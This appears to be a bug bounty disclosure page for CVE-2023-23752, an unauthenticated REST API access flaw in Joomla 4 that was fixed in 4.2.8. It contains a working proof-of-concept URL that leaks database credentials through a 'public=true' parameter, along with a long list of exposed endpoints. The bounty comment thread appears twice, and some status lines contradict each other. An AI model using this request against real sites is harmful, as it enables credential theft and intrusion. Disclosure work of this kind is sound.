Unauthorized Rest Api owned by Joomla(officially accepted) in joomla/joomla-cms

Valid

Reported on

Feb 15th 2023

Description

Joomla has provided the Rest API since version 4.0. These apis need to provide authentication information when accessing, but if public is added to the request parameters when accessing the api. Then any unauthenticated user can directly access

Proof of Concept

Api can directly obtain the account and password of the website database as follows

http://x.x.x.x/api/index.php/v1/config/application?public=true

Other victim apis are as follows

v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id

Impact

Access all rest apis of Joomla. Some of the apis contain key website information

The following api can directly obtain the account and password of the website database http://x.x.x.x/api/index.php/v1/config/application?public=true

References

Official patch

We are processing your report and will contact the joomla/joomla-cms team within 24 hours. 2 months ago

kyoDream

commented 2 months ago

Researcher

I am the vulnerability discoverer: zhangzewei3@nsfocus.com,I submitted a vulnerability two days ago and sent it to joomla's secure mailbox

We have contacted a member of the joomla/joomla-cms team and are waiting to hear back 2 months ago

kyoDream

commented a month ago

Researcher

Vulnerability No.:CVE-2023-23752

A joomla/joomla-cms maintainer modified the Severity from Critical (10) to Critical (10) a month ago

A joomla/joomla-cms maintainer validated this vulnerability a month ago

kyoDream has been awarded the disclosure bounty

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

A joomla/joomla-cms maintainer marked this as fixed in 4.2.8 with commit 5897df a month ago

The fix bounty has been dropped

This vulnerability will not receive a CVE

This vulnerability is scheduled to go public on Feb 16th 2023

A joomla/joomla-cms maintainer published this vulnerability a month ago

kyoDream

commented a month ago

Researcher

@admin How the bounty was determined, I was a little confused

Ben Harvie

commented a month ago

Admin

The bounty is determined during the disclosure process on the target-finder (checkout here), you can find repositories that we pay dollar amounts for here.

NCNIPC梅苑

commented 23 days ago

这么牛逼的漏洞你交这里？？？？

kyoDream

commented 23 days ago

Researcher

怎么可能，我官方报的，我只是看看事后能不能补一下

NCNIPC梅苑

commented 23 days ago

我说呢hhhh

to join this conversation

We are processing your report and will contact the joomla/joomla-cms team within 24 hours. 2 months ago

kyoDream

commented 2 months ago

Researcher

I am the vulnerability discoverer: zhangzewei3@nsfocus.com,I submitted a vulnerability two days ago and sent it to joomla's secure mailbox

We have contacted a member of the joomla/joomla-cms team and are waiting to hear back 2 months ago

kyoDream

commented a month ago

Researcher

Vulnerability No.:CVE-2023-23752

A joomla/joomla-cms maintainer modified the Severity from Critical (10) to Critical (10) a month ago

A joomla/joomla-cms maintainer validated this vulnerability a month ago

kyoDream has been awarded the disclosure bounty

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

A joomla/joomla-cms maintainer marked this as fixed in 4.2.8 with commit 5897df a month ago

The fix bounty has been dropped

This vulnerability will not receive a CVE

This vulnerability is scheduled to go public on Feb 16th 2023

A joomla/joomla-cms maintainer published this vulnerability a month ago

kyoDream

commented a month ago

Researcher

@admin How the bounty was determined, I was a little confused

Ben Harvie

commented a month ago

Admin

The bounty is determined during the disclosure process on the target-finder (checkout here), you can find repositories that we pay dollar amounts for here.

NCNIPC梅苑

commented 23 days ago

这么牛逼的漏洞你交这里？？？？

kyoDream

commented 23 days ago

Researcher

怎么可能，我官方报的，我只是看看事后能不能补一下

NCNIPC梅苑

commented 23 days ago

我说呢hhhh

to join this conversation